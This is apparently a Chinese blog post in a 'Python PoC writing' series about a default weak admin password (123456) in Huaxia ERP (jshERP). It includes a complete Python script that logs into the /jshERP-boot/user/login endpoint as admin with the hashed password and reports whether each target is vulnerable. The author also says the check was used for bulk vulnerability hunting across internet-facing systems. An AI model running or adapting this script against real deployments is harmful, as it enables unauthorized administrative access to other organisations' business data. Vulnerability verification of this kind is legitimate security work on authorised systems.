Python-Poc编写(6)

一、背景

华夏ERP是一款面向企业的综合业务管理系统,主要用于帮助企业管理和优化其业务流程,提高运营效率。华夏ERP系统通常包含多个模块,涵盖了企业日常运营的各个方面,如财务管理、供应链管理、生产管理、人力资源管理等。

二、测试

来源于上一个POC编写存在admin账户随机进行弱口令猜测为123456,通过测试登录成功;观察请求包发行密码进行了加密,并且通过json格式进行提交。如下:之后进行了互联网批量漏洞的挖掘还是有很多的。

三、POC编写

import json
import re
import requests

#host头部正则模块
def parse_address(input_str):
    # 移除前后空白并进行匹配
    input_str = input_str.strip()

    # 正则表达式匹配IP地址(含端口)和域名(含端口)
    pattern = re.compile(
        r'https?://' +  # 协议
        r'(?:' +
        r'(?P<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' +  # IP地址
        r'(?::(?P<ip_port>\d+))?|' +  # IP端口
        r'|' +
        r'(?P<domain>[\w.-]+)' +  # 域名
        r'(?::(?P<domain_port>\d+))?' +  # 域名端口
        r')' +
        r'(/[^\s]*)?'  # 可选的路径部分,忽略
        r'$'
    )

    match = pattern.match(input_str)

    if match:
        # 根据匹配到的内容构建输出
        if match.group('ip'):  # 是IP地址
            ip_add = match.group('ip')
            if match.group('ip_port'):
                ip_add += f":{match.group('ip_port')}"
        else:  # 是域名
            domain_or_ip = match.group('domain')
            ip_add = domain_or_ip
            if match.group('domain_port'):
                ip_add += f":{match.group('domain_port')}"

        return ip_add
    else:
        return "无效的输入,无法解析IP地址或域名。"
# 创建poc模块接收参数
def cmd(url):
    # 创建payliad
    payload = "/jshERP-boot/user/login"
    url1 = f"{url}{payload}"
    ip_add = parse_address(url)
    headers = {
        'Host':f"{ip_add}",
        'Content-Length':'67',
        'Accept':'application/json, text/plain, */*',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36',
        'Content-Type':'application/json;charset=UTF-8',
        'Referer':f'{url}/user/login'
    }
    data ={"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}
    json_data = json.dumps(data)
    try:
        response = requests.post(url1,headers=headers,data=json_data,verify=False,timeout=3) #发送get请求,超时3秒
        print(response.text)
        if response.status_code == 200 and "user can login" in response.text:
            print ( f"【+】{url}存在该漏洞\n")
        else:
            print(f"【-】{url}不存在该漏洞\n")
    except Exception as e :
        print( f"【*】{url}存在异常;请检测!!\n")

if __name__ == '__main__':
    url = "ip地址"
    cmd(url)

结果展示

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值